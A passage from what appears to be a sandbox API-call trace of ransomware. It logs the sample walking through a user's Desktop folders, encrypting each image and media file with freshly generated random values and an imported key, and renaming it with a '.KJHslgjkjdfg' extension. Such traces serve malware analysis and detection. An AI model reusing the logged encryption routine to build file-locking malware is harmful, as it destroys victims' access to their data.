(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7ipkrgt1vybnt.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7IPkrGt1vYBNT.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7ipkrgt1vybnt.jpg.kjhslgjkjdfg")) returned 1 [0145.731] CloseHandle (hObject=0xc0) returned 1 [0145.731] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f73b990, ftCreationTime.dwHighDateTime=0x1d5e359, ftLastAccessTime.dwLowDateTime=0x2d5cb40, ftLastAccessTime.dwHighDateTime=0x1d5dcb3, ftLastWriteTime.dwLowDateTime=0x2d5cb40, ftLastWriteTime.dwHighDateTime=0x1d5dcb3, nFileSizeHigh=0x0, nFileSizeLow=0x2f67, dwReserved0=0x0, dwReserved1=0xffff, cFileName="94rbtYq0W.jpg", cAlternateFileName="94RBTY~1.JPG")) returned 1 [0145.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\94rbtYq0W.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\94rbtyq0w.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.733] GetProcessHeap () returned 0x2ef0000 [0145.733] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.733] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.733] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.733] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x9, lpOverlapped=0x0) returned 1 [0145.735] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.735] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.735] GetProcessHeap () returned 0x2ef0000 [0145.735] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.735] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0145.735] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.735] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0145.735] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.735] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.735] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.735] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.735] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.736] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.736] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.736] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.736] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2f67, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x2f67, lpOverlapped=0x0) returned 1 [0145.737] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x2f70, dwBufLen=0x2f70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x2f70) returned 1 [0145.737] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.737] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2f70, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x2f70, lpOverlapped=0x0) returned 1 [0145.737] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.737] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x3044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.737] SetEndOfFile (hFile=0xc0) returned 1 [0145.740] GetProcessHeap () returned 0x2ef0000 [0145.740] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.740] GetProcessHeap () returned 0x2ef0000 [0145.740] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.740] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\94rbtYq0W.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\94rbtyq0w.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\94rbtYq0W.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\94rbtyq0w.jpg.kjhslgjkjdfg")) returned 1 [0145.743] CloseHandle (hObject=0xc0) returned 1 [0145.743] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ab96a0, ftCreationTime.dwHighDateTime=0x1d5e0cd, ftLastAccessTime.dwLowDateTime=0x75cb18e0, ftLastAccessTime.dwHighDateTime=0x1d5d852, ftLastWriteTime.dwLowDateTime=0x75cb18e0, ftLastWriteTime.dwHighDateTime=0x1d5d852, nFileSizeHigh=0x0, nFileSizeLow=0xebe5, dwReserved0=0x0, dwReserved1=0xffff, cFileName="9YUdz 0Z.swf", cAlternateFileName="9YUDZ0~1.SWF")) returned 1 [0145.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9YUdz 0Z.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9yudz 0z.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.745] GetProcessHeap () returned 0x2ef0000 [0145.745] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.745] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.745] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.745] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xb, lpOverlapped=0x0) returned 1 [0145.747] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.747] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.747] GetProcessHeap () returned 0x2ef0000 [0145.747] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.747] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0145.747] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.747] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0145.747] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.747] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.747] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.747] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.747] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.748] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.748] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.748] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.748] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xebe5, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xebe5, lpOverlapped=0x0) returned 1 [0145.749] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xebf0, dwBufLen=0xebf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xebf0) returned 1 [0145.750] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.750] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xebf0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xebf0, lpOverlapped=0x0) returned 1 [0145.750] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.750] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xecc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.750] SetEndOfFile (hFile=0xc0) returned 1 [0145.753] GetProcessHeap () returned 0x2ef0000 [0145.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.753] GetProcessHeap () returned 0x2ef0000 [0145.753] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.754] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9YUdz 0Z.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9yudz 0z.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9YUdz 0Z.swf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9yudz 0z.swf.kjhslgjkjdfg")) returned 1 [0145.759] CloseHandle (hObject=0xc0) returned 1 [0145.760] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x702b5e40, ftCreationTime.dwHighDateTime=0x1d5daaf, ftLastAccessTime.dwLowDateTime=0xbcc8aa10, ftLastAccessTime.dwHighDateTime=0x1d5db58, ftLastWriteTime.dwLowDateTime=0xbcc8aa10, ftLastWriteTime.dwHighDateTime=0x1d5db58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="arTwgkHFeyZkIzVN-v", cAlternateFileName="ARTWGK~1")) returned 1 [0145.760] GetProcessHeap () returned 0x2ef0000 [0145.760] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f12358 [0145.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\*.*", lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x702b5e40, ftCreationTime.dwHighDateTime=0x1d5daaf, ftLastAccessTime.dwLowDateTime=0xbcc8aa10, ftLastAccessTime.dwHighDateTime=0x1d5db58, ftLastWriteTime.dwLowDateTime=0xbcc8aa10, ftLastWriteTime.dwHighDateTime=0x1d5db58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f123e8 [0145.763] GetProcessHeap () returned 0x2ef0000 [0145.763] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f12358 | out: hHeap=0x2ef0000) returned 1 [0145.763] FindNextFileW (in: hFindFile=0x2f123e8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x702b5e40, ftCreationTime.dwHighDateTime=0x1d5daaf, ftLastAccessTime.dwLowDateTime=0xbcc8aa10, ftLastAccessTime.dwHighDateTime=0x1d5db58, ftLastWriteTime.dwLowDateTime=0xbcc8aa10, ftLastWriteTime.dwHighDateTime=0x1d5db58, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0145.764] FindNextFileW (in: hFindFile=0x2f123e8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd88c26c0, ftCreationTime.dwHighDateTime=0x1d5e065, ftLastAccessTime.dwLowDateTime=0x5f6682c0, ftLastAccessTime.dwHighDateTime=0x1d5e7dd, ftLastWriteTime.dwLowDateTime=0x5f6682c0, ftLastWriteTime.dwHighDateTime=0x1d5e7dd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="ipGwBsPK4T", cAlternateFileName="IPGWBS~1")) returned 1 [0145.764] GetProcessHeap () returned 0x2ef0000 [0145.764] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f167a0 [0145.764] GetProcessHeap () returned 0x2ef0000 [0145.764] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x98) returned 0x2f14588 [0145.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd88c26c0, ftCreationTime.dwHighDateTime=0x1d5e065, ftLastAccessTime.dwLowDateTime=0x5f6682c0, ftLastAccessTime.dwHighDateTime=0x1d5e7dd, ftLastWriteTime.dwLowDateTime=0x5f6682c0, ftLastWriteTime.dwHighDateTime=0x1d5e7dd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName=".", cAlternateFileName="")) returned 0x2f14a78 [0145.766] GetProcessHeap () returned 0x2ef0000 [0145.766] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0145.766] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd88c26c0, ftCreationTime.dwHighDateTime=0x1d5e065, ftLastAccessTime.dwLowDateTime=0x5f6682c0, ftLastAccessTime.dwHighDateTime=0x1d5e7dd, ftLastWriteTime.dwLowDateTime=0x5f6682c0, ftLastWriteTime.dwHighDateTime=0x1d5e7dd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="..", cAlternateFileName="")) returned 1 [0145.766] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e34660, ftCreationTime.dwHighDateTime=0x1d5da06, ftLastAccessTime.dwLowDateTime=0xaa59e3b0, ftLastAccessTime.dwHighDateTime=0x1d5dad3, ftLastWriteTime.dwLowDateTime=0xaa59e3b0, ftLastWriteTime.dwHighDateTime=0x1d5dad3, nFileSizeHigh=0x0, nFileSizeLow=0xb3b, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="-Ti4.mp3", cAlternateFileName="")) returned 1 [0145.766] GetProcessHeap () returned 0x2ef0000 [0145.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x29a) returned 0x2f16a30 [0145.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\-Ti4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\-ti4.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.767] GetProcessHeap () returned 0x2ef0000 [0145.767] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.767] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.767] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a0 | out: lpNewFilePointer=0x0) returned 1 [0145.767] WriteFile (in: hFile=0x128, lpBuffer=0x4dff7b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff7b0*, lpNumberOfBytesWritten=0x4dff780*=0x5, lpOverlapped=0x0) returned 1 [0145.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.769] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.769] GetProcessHeap () returned 0x2ef0000 [0145.769] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0145.769] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff768*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff768*=0x30) returned 1 [0145.769] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.769] WriteFile (in: hFile=0x128, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff780*=0x30, lpOverlapped=0x0) returned 1 [0145.769] WriteFile (in: hFile=0x128, lpBuffer=0x4dff788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff788*, lpNumberOfBytesWritten=0x4dff780*=0x4, lpOverlapped=0x0) returned 1 [0145.770] WriteFile (in: hFile=0x128, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff780*=0x10, lpOverlapped=0x0) returned 1 [0145.770] WriteFile (in: hFile=0x128, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff780*=0x80, lpOverlapped=0x0) returned 1 [0145.770] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a8 | out: lpNewFilePointer=0x0) returned 1 [0145.770] WriteFile (in: hFile=0x128, lpBuffer=0x4dff798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4dff798*, lpNumberOfBytesWritten=0x4dff780*=0x8, lpOverlapped=0x0) returned 1 [0145.770] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff784 | out: phKey=0x4dff784*=0x2f12358) returned 1 [0145.770] CryptSetKeyParam (hKey=0x2f12358, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.770] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.770] ReadFile (in: hFile=0x128, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb3b, lpNumberOfBytesRead=0x4dff78c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff78c*=0xb3b, lpOverlapped=0x0) returned 1 [0145.770] CryptEncrypt (in: hKey=0x2f12358, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0xb40, dwBufLen=0xb40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff768*=0xb40) returned 1 [0145.770] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.770] WriteFile (in: hFile=0x128, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb40, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff780*=0xb40, lpOverlapped=0x0) returned 1 [0145.770] CryptDestroyKey (hKey=0x2f12358) returned 1 [0145.770] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.770] SetEndOfFile (hFile=0x128) returned 1 [0145.773] GetProcessHeap () returned 0x2ef0000 [0145.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0145.773] GetProcessHeap () returned 0x2ef0000 [0145.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.773] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\-Ti4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\-ti4.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\-Ti4.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\-ti4.mp3.kjhslgjkjdfg")) returned 1 [0145.773] CloseHandle (hObject=0x128) returned 1 [0145.773] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27a60d00, ftCreationTime.dwHighDateTime=0x1d5dfeb, ftLastAccessTime.dwLowDateTime=0xdd0ef690, ftLastAccessTime.dwHighDateTime=0x1d5e264, ftLastWriteTime.dwLowDateTime=0xdd0ef690, ftLastWriteTime.dwHighDateTime=0x1d5e264, nFileSizeHigh=0x0, nFileSizeLow=0x8611, dwReserved0=0x4dff858, dwReserved1=0x77c7b3f2, cFileName="869RP-3.bmp", cAlternateFileName="")) returned 1 [0145.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\ipGwBsPK4T\\869RP-3.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ipgwbspk4t\\869rp-3.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.778] GetProcessHeap () returned 0x2ef0000 [0145.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.779] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.779] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff7a0 | out: lpNewFilePointer=0x0) returned 1 [0145.779] WriteFile (in: hFile=0x128, lpBuffer=0x4dff7b0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff780, lpOverlapped=0x0 | out: 